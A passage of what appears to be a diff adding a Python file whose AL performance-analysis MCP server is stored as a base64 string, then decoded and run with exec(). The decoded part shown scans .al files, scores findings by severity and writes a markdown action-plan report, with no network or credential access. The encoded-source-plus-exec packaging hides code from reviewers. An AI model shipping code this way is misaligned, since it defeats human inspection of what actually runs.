XplZCBmaXggcGxhbiAoZGVmYXVsdCBUcnVlKS4KICAgICIiIgogICAgZm9sZGVyID0gUGF0aChmb2xkZXJfcGF0aCkKICAgIGlmIG5vdCBmb2xkZXIuZXhpc3RzKCk6CiAgICAgICAgcmV0dXJuIGYiRVJST1I6IEZvbGRlciBub3QgZm91bmQ6IHtmb2xkZXJfcGF0aH0iCgogICAgZmlsZXMgPSBfYWxfZmlsZXMoZm9sZGVyKQogICAgaWYgbm90IGZpbGVzOgogICAgICAgIHJldHVybiBmIk5vIC5hbCBmaWxlcyBmb3VuZCBpbiB7Zm9sZGVyX3BhdGh9IgoKICAgICMg4pSA4pSAIFN0ZXAgMTogQ29sbGVjdCBhbGwgdW5pcXVlIGdyb3VwIG5hbWVzIGZyb20gdGhlIHBhdHRlcm4gcmVnaXN0cnkg4pSA4pSACiAgICBhbGxfZ3JvdXBzID0gc29ydGVkKHtwWyJncm91cCJdIGZvciBwIGluIFBBVFRFUk5TfSkKCiAgICAjIOKUgOKUgCBTdGVwIDI6IFJ1biBlYWNoIGdyb3VwIHN1Yi1hZ2VudCDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIGdyb3VwX3Jlc3VsdHM6IGxpc3RbZGljdF0gPSBbXQogICAgZm9yIGdyb3VwIGluIGFsbF9ncm91cHM6CiAgICAgICAgcmVzdWx0ID0gX3J1bl9ncm91cF9hZ2VudChncm91cCwgZm9sZGVyKQogICAgICAgIGdyb3VwX3Jlc3VsdHMuYXBwZW5kKHJlc3VsdCkKCiAgICAjIOKUgOKUgCBTdGVwIDM6IEFnZ3JlZ2F0ZSDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIGFsbF9maW5kaW5nczogbGlzdFtkaWN0XSA9IFtdCiAgICBmb3IgciBpbiBncm91cF9yZXN1bHRzOgogICAgICAgIGFsbF9maW5kaW5ncy5leHRlbmQoclsiZmluZGluZ3MiXSkKCiAgICB0b3RhbCAgID0gbGVuKGFsbF9maW5kaW5ncykKICAgIGhpZ2ggICAgPSBzdW0oMSBmb3IgZiBpbiBhbGxfZmluZGluZ3MgaWYgZlsic2V2ZXJpdHkiXSA9PSAiSElHSCIpCiAgICBtZWRpdW0gID0gc3VtKDEgZm9yIGYgaW4gYWxsX2ZpbmRpbmdzIGlmIGZbInNldmVyaXR5Il0gPT0gIk1FRElVTSIpCiAgICBsb3cgICAgID0gc3VtKDEgZm9yIGYgaW4gYWxsX2ZpbmRpbmdzIGlmIGZbInNldmVyaXR5Il0gPT0gIkxPVyIpCiAgICBzY29yZSAgID0gaGlnaCAqIDEwICsgbWVkaXVtICogMyArIGxvdyAgIyB3ZWlnaHRlZCBzZXZlcml0eSBzY29yZQoKICAgICMgRmlsZXMgcmFua2VkIGJ5IHNldmVyaXR5IHNjb3JlCiAgICBmaWxlX3Njb3JlczogZGljdFtzdHIsIGRpY3RdID0ge30KICAgIGZvciBmIGluIGFsbF9maW5kaW5nczoKICAgICAgICBmcCA9IGZbImZpbGUiXQogICAgICAgIGlmIGZwIG5vdCBpbiBmaWxlX3Njb3JlczoKICAgICAgICAgICAgZmlsZV9zY29yZXNbZnBdID0geyJoaWdoIjogMCwgIm1lZGl1bSI6IDAsICJsb3ciOiAwLCAicGF0dGVybnMiOiBzZXQoKSwgInJlbCI6IGZbInJlbF9maWxlIl19CiAgICAgICAgZmlsZV9zY29yZXNbZnBdW2ZbInNldmVyaXR5Il0ubG93ZXIoKV0gKz0gMQogICAgICAgIGZpbGVfc2NvcmVzW2ZwXVsicGF0dGVybnMiXS5hZGQoZlsicGF0dGVybiJdKQoKICAgIHJhbmtlZF9maWxlcyA9IHNvcnRlZCgKICAgICAgICBmaWxlX3Njb3Jlcy5pdGVtcygpLAogICAgICAgIGtleT1sYW1iZGEgeDogeFsxXVsiaGlnaCJdICogMTAgKyB4WzFdWyJtZWRpdW0iXSAqIDMgKyB4WzFdWyJsb3ciXSwKICAgICAgICByZXZlcnNlPVRydWUKICAgICkKCiAgICAjIEF1dG8tZml4YWJsZSBmaW5kaW5ncwogICAgZml4YWJsZV9maW5kaW5ncyA9IFtmIGZvciBmIGluIGFsbF9maW5kaW5ncyBpZiBfaXNfcGF0dGVybl9hdXRvX2ZpeGFibGUoZlsicGF0dGVybiJdKV0KICAgIGZpeGFibGVfY291bnQgPSBsZW4oZml4YWJsZV9maW5kaW5ncykKICAgIGZpeGFibGVfZmlsZXMgPSBzb3J0ZWQoe2ZbInJlbF9maWxlIl0gZm9yIGYgaW4gZml4YWJsZV9maW5kaW5nc30pCgogICAgIyDilIDilIAgU3RlcCA0OiBCdWlsZCByZXBvcnQg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAgICBsaW5lcyA9IFsKICAgICAgICAiIyDwn5SNIEFMIFBlcmZvcm1hbmNlIEFuYWx5c2lzIOKAlCBPcmNoZXN0cmF0b3IgUmVwb3J0XG4iLAogICAgICAgIGYiKipXb3Jrc3BhY2U6KiogYHtmb2xkZXJfcGF0aH1gICAiLAogICAgICAgIGYiKipGaWxlcyBzY2FubmVkOioqIHtsZW4oZmlsZXMpfSAgIiwKICAgICAgICBmIioqVG90YWwgaXNzdWVzOioqIHt0b3RhbH0gKPCflLQge2hpZ2h9IEhJR0gsIPCfn6Ege21lZGl1bX0gTUVESVVNLCDwn5S1IHtsb3d9IExPVykgICIsCiAgICAgICAgZiIqKlNldmVyaXR5IHNjb3JlOioqIHtzY29yZX0gICIsCiAgICAgICAgZiIqKkF1dG8tZml4YWJsZToqKiB7Zml4YWJsZV9jb3VudH0gaXNzdWVzIGluIHtsZW4oZml4YWJsZV9maWxlcyl9IGZpbGVzXG4iLAogICAgICAgICItLS1cbiIsCiAgICAgICAgIiMjIFN1Yi1BZ2VudCBSZXN1bHRzIGJ5IEdyb3VwXG4iLAogICAgICAgICJ8IEdyb3VwIHwgSElHSCB8IE1FRCB8IExPVyB8IFRvdGFsIHwiLAogICAgICAgICJ8LS0tLS0tLXwtLS0tLS18LS0tLS18LS0tLS18LS0tLS0tLXwiLAogICAgXQogICAgZm9yIHIgaW4gZ3JvdXBfcmVzdWx0czoKICAgICAgICBzdGF0dXMgPSAi8J+UtCIgaWYgclsiaGlnaCJdID4gMCBlbHNlICgi8J+foSIgaWYgclsibWVkaXVtIl0gPiAwIGVsc2UgIuKchSIpCiAgICAgICAgbGluZXMuYXBwZW5kKGYifCB7c3RhdHVzfSB7clsnZ3JvdXAnXX0gfCB7clsnaGlnaCddfSB8IHtyWydtZWRpdW0nXX0gfCB7clsnbG93J119IHwge3JbJ3RvdGFsJ119IHwiKQoKICAgICMg4pSA4pSAIFRvcCBvZmZlbmRpbmcgZmlsZXMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAgICBsaW5lcyArPSBbIlxuLS0tXG4iLCAiIyMg8J+PhiBGaWxlcyBSYW5rZWQgYnkgU2V2ZXJpdHkgU2NvcmVcbiJdCiAgICBmb3IgaSwgKGZwLCBzYykgaW4gZW51bWVyYXRlKHJhbmtlZF9maWxlc1s6MTBdLCAxKToKICAgICAgICBmaWxlX3Njb3JlID0gc2NbImhpZ2giXSAqIDEwICsgc2NbIm1lZGl1bSJdICogMyArIHNjWyJsb3ciXQogICAgICAgIHBhdHRlcm5zX3N0ciA9ICIsICIuam9pbihmImB7cH1gIiBmb3IgcCBpbiBzb3J0ZWQoc2NbInBhdHRlcm5zIl0pKQogICAgICAgIGxpbmVzLmFwcGVuZCgKICAgICAgICAgICAgZiJ7aX0uICoqYHtzY1sncmVsJ119YCoqIOKAlCBzY29yZSB7ZmlsZV9zY29yZX0gIgogICAgICAgICAgICBmIijwn5S0e3NjWydoaWdoJ119IPCfn6F7c2NbJ21lZGl1bSddfSDwn5S1e3NjWydsb3cnXX0pICBcbiIKICAgICAgICAgICAgZiIgICBQYXR0ZXJuczoge3BhdHRlcm5zX3N0cn0iCiAgICAgICAgKQogICAgaWYgbGVuKHJhbmtlZF9maWxlcykgPiAxMDoKICAgICAgICBsaW5lcy5hcHBlbmQoZiJcbl/igKYgYW5kIHtsZW4ocmFua2VkX2ZpbGVzKSAtIDEwfSBtb3JlIGZpbGVzIHdpdGggaXNzdWVzLl8iKQoKICAgICMg4pSA4pSAIEFjdGlvbiBwbGFuIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgaWYgaW5jbHVkZV9hY3Rpb25fcGxhbjoKICAgICAgICBsaW5lcyArPSBbIlxuLS0tXG4iLCAiIyMg8J+TiyBQcmlvcml0aXplZCBBY3Rpb24gUGxhblxuIl0KCiAgICAgICAgIyBQaGFzZSAxOiBBdXRvLWZpeGFibGUKICAgICAgICBpZiBmaXhhYmxlX2ZpbmRpbmdzOgogICAgICAgICAgICBsaW5lcy5hcHBlbmQoIiMjIyBQaGFzZSAxIOKAlCBSdW4gQXV0b21hdGljIEZpeGVzICh6ZXJvIG1hbnVhbCBlZmZvcnQpIikKICAgICAgICAgICAgbGluZXMuYXBwZW5kKGYiVGhlc2Uge2ZpeGFibGVfY291bnR9IGlzc3VlcyBjYW4gYmUgZml4ZWQgaW5zdGFudGx5IHdpdGggYGZpeF9hbF93b3Jrc3BhY2VgOiIpCiAgICAgICAgICAgIGZvciBwaWQgaW4gc29ydGVkKF9BVVRPX0ZJWEFCTEUpOgogICAgICAgICAgICAgICAgY291bnQgPSBzdW0oMSBmb3IgZiBpbiBhbGxfZmluZGluZ3MgaWYgZlsicGF0dGVybiJdID09IHBpZCkKICAgICAgICAgICAgICAgIGlmIGNvdW50ID4gMDoKICAgICAgICAgICAgICAgICAgICB0aXRsZSA9IG5leHQoKHBbInRpdGxlIl0gZm9yIHAgaW4gUEFUVEVSTlMgaWYgcFsiaWQiXSA9PSBwaWQpLCBwaWQpCiAgICAgICAgICAgICAgICAgICAgbGluZXMuYXBwZW5kKGYiICAtIGB7cGlkfWAgw5cge2NvdW50fSDigJQge3RpdGxlfSIpCiAgICAgICAgICAgIGxpbmVzLmFwcGVuZChmIlxuPiAqKlJ1bjoqKiBgZml4X2FsX3dvcmtzcGFjZShcIntmb2xkZXJfcGF0aH1cIiwgZHJ5X3J1bj1GYWxzZSlgIikKCiAgICAgICAgIyBQaGFzZSAyOiBIaWdoIHNldmVyaXR5IG1hbnVhbCBmaXhlcwogICAgICAgIGhpZ2hfbWFudWFsID0gW2YgZm9yIGYgaW4gYWxsX2ZpbmRpbmdzIGlmIGZbInNldmVyaXR5Il0gPT0gIkhJR0giIGFuZCBub3QgX2lzX3BhdHRlcm5fYXV0b19maXhhYmxlKGZbInBhdHRlcm4iXSldCiAgICAgICAgaWYgaGlnaF9tYW51YWw6CiAgICAgICAgICAgIGxpbmVzLmFwcGVuZCgiXG4jIyMgUGhhc2UgMiDigJQgSGlnaCBTZXZlcml0eSAobWFudWFsIGNvZGUgY2hhbmdlcyByZXF1aXJlZCkiKQogICAgICAgICAgICBieV9wYXR0ZXJuOiBkaWN0W3N0ciwgbGlzdF0gPSB7fQogICAgICAgICAgICBmb3IgZiBpbiBoaWdoX21hbnVhbDoKICAgICAgICAgICAgICAgIGJ5X3BhdHRlcm4uc2V0ZGVmYXVsdChmWyJwYXR0ZXJuIl0sIFtdKS5hcHBlbmQoZikKICAgICAgICAgICAgZm9yIHBpZCwgZmluZGluZ3MgaW4gc29ydGVkKGJ5X3BhdHRlcm4uaXRlbXMoKSwga2V5PWxhbWJkYSB4OiAtbGVuKHhbMV0pKToKICAgICAgICAgICAgICAgIHRpdGxlID0gbmV4dCgocFsidGl0bGUiXSBmb3IgcCBpbiBQQVRURVJOUyBpZiBwWyJpZCJdID09IHBpZCksIHBpZCkKICAgICAgICAgICAgICAgIGZpbGVzX2FmZmVjdGVkID0gc29ydGVkKHtmWyJyZWxfZmlsZSJdIGZvciBmIGluIGZpbmRpbmdzfSkKICAgICAgICAgICAgICAgIGxpbmVzLmFwcGVuZChmIlxuKipge3BpZH1gKiogw5cge2xlbihmaW5kaW5ncyl9IOKAlCB7dGl0bGV9IikKICAgICAgICAgICAgICAgIGxpbmVzLmFwcGVuZChmIiAgRmlsZXM6IHsnLCAnLmpvaW4oZidge2Z9YCcgZm9yIGYgaW4gZmlsZXNfYWZmZWN0ZWRbOjVdKX0iKQogICAgICAgICAgICAgICAgbGluZXMuYXBwZW5kKGYiICA+IFJ1biBgZXhwbGFpbl9wYXR0ZXJuKFwie3BpZH1cIilgIGZvciB0aGUgZml4IHBhdHRlcm4iKQoKICAgICAgICAjIFBoYXNlIDM6IE1lZGl1bQogICAgICAgIG1lZGl1bV9tYW51YWwgPSBbZiBmb3IgZiBpbiBhbGxfZmluZGluZ3MgaWYgZlsic2V2ZXJpdHkiXSA9PSAiTUVESVVNIiBhbmQgbm90IF9pc19wYXR0ZXJuX2F1dG9fZml4YWJsZShmWyJwYXR0ZXJuIl0pXQogICAgICAgIGlmIG1lZGl1bV9tYW51YWw6CiAgICAgICAgICAgIGJ5X3BhdHRlcm4yOiBkaWN0W3N0ciwgaW50XSA9IHt9CiAgICAgICAgICAgIGZvciBmIGluIG1lZGl1bV9tYW51YWw6CiAgICAgICAgICAgICAgICBieV9wYXR0ZXJuMltmWyJwYXR0ZXJuIl1dID0gYnlfcGF0dGVybjIuZ2V0KGZbInBhdHRlcm4iXSwgMCkgKyAxCiAgICAgICAgICAgIGxpbmVzLmFwcGVuZCgiXG4jIyMgUGhhc2UgMyDigJQgTWVkaXVtIFNldmVyaXR5IikKICAgICAgICAgICAgZm9yIHBpZCwgY291bnQgaW4gc29ydGVkKGJ5X3BhdHRlcm4yLml0ZW1zKCksIGtleT1sYW1iZGEgeDogLXhbMV0pOgogICAgICAgICAgICAgICAgdGl0bGUgPSBuZXh0KChwWyJ0aXRsZSJdIGZvciBwIGluIFBBVFRFUk5TIGlmIHBbImlkIl0gPT0gcGlkKSwgcGlkKQogICAgICAgICAgICAgICAgbGluZXMuYXBwZW5kKGYiICAtIGB7cGlkfWAgw5cge2NvdW50fSDigJQge3RpdGxlfSIpCgogICAgICAgICMgRHJpbGwtZG93biBoaW50cwogICAgICAgIGxpbmVzICs9IFsKICAgICAgICAgICAgIlxuLS0tXG4iLAogICAgICAgICAgICAiIyMg8J+UrCBEcmlsbCBEb3duIHdpdGggU3ViLUFnZW50c1xuIiwKICAgICAgICAgICAgIkNhbGwgdGhlc2UgdG9vbHMgZm9yIGEgZnVsbCBwZXItZmlsZSBicmVha2Rvd24gb2YgZWFjaCBjYXRlZ29yeTpcbiIsCiAgICAgICAgXQogICAgICAgIGdyb3VwX3Rvb2xfbWFwID0gewogICAgICAgICAgICAiRGF0YSBUcmFuc2ZlciI6ICAgICAgICAgICAgInNjYW5fZGF0YV90cmFuc2Zlcl9pc3N1ZXMiLAogICAgICAgICAgICAiRmxvd0ZpZWxkcyI6ICAgICAgICAgICAgICAgInNjYW5fZmxvd2ZpZWxkX2lzc3VlcyIsCiAgICAgICAgICAgICJBZ2dyZWdhdGlvbiI6ICAgICAgICAgICAgICAic2Nhbl9hZ2dyZWdhdGlvbl9pc3N1ZXMiLAogICAgICAgICAgICAiQnVsayBPcGVyYXRpb25zIjogICAgICAgICAgInNjYW5fYnVsa19vcGVyYXRpb25faXNzdWVzIiwKICAgICAgICAgICAgIkV4aXN0ZW5jZSBDaGVja3MiOiAgICAgICAgICJzY2FuX2V4aXN0ZW5jZV9jaGVja19pc3N1ZXMiLAogICAgICAgICAgICAiTG9ja2luZyI6ICAgICAgICAgICAgICAgICAgInNjYW5fbG9ja2luZ19pc3N1ZXMiLAogICAgICAgICAgICAiTWVtb3J5IC8gQ29waWVzIjogICAgICAgICAgInNjYW5fbWVtb3J5X2lzc3VlcyIsCiAgICAgICAgICAgICJTaG9ydC1DaXJjdWl0IEV2YWx1YXRpb24iOiAic2Nhbl9zaG9ydF9jaXJjdWl0X2lzc3VlcyIsCiAgICAgICAgICAgICJXcml0ZSBQYXR0ZXJucyI6ICAgICAgICAgICAic2Nhbl93cml0ZV9wYXR0ZXJuX2lzc3VlcyIsCiAgICAgICAgICAgICJDdXJzb3IgU2FmZXR5IjogICAgICAgICAgICAic2Nhbl9jdXJzb3Jfc2FmZXR5X2lzc3VlcyIsCiAgICAgICAgICAgICJTdGFsZSBSZWFkcyI6ICAgICAgICAgICAgICAic2Nhbl9zdGFsZV9yZWFkX2lzc3VlcyIsCiAgICAgICAgICAgICJTb3J0IC8gS2V5cyI6ICAgICAgICAgICAgICAic2Nhbl9kYXRhX3RyYW5zZmVyX2lzc3VlcyIsICAjIGNvdmVyZWQgYnkgZGF0YSB0cmFuc2ZlcgogICAgICAgIH0KICAgICAgICBmb3IgciBpbiBncm91cF9yZXN1bHRzOgogICAgICAgICAgICBpZiByWyJ0b3RhbCJdID4gMDoKICAgICAgICAgICAgICAgIHRvb2wgPSBncm91cF90b29sX21hcC5nZXQoclsiZ3JvdXAiXSwgInNjYW5fYWxfd29ya3NwYWNlIikKICAgICAgICAgICAgICAgIGxpbmVzLmFwcGVuZChmIi0gKip7clsnZ3JvdXAnXX0qKiAoe3JbJ3RvdGFsJ119IGlzc3Vlcykg4oaSIGB7dG9vbH0oXCJ7Zm9sZGVyX3BhdGh9XCIpYCIpCgogICAgcmV0dXJuICJcbiIuam9pbihsaW5lcykKCgppZiBfX25hbWVfXyA9PSAiX19tYWluX18iOgogICAgbWNwLnJ1bigpCg=='
|
|
4
|
+
).decode('utf-8')
|
|
5
|
+
_code = compile(_src, '<al-performance-mcp>', 'exec')
|
|
6
|
+
exec(_code, {'__name__': '__main__', '__file__': __file__})
|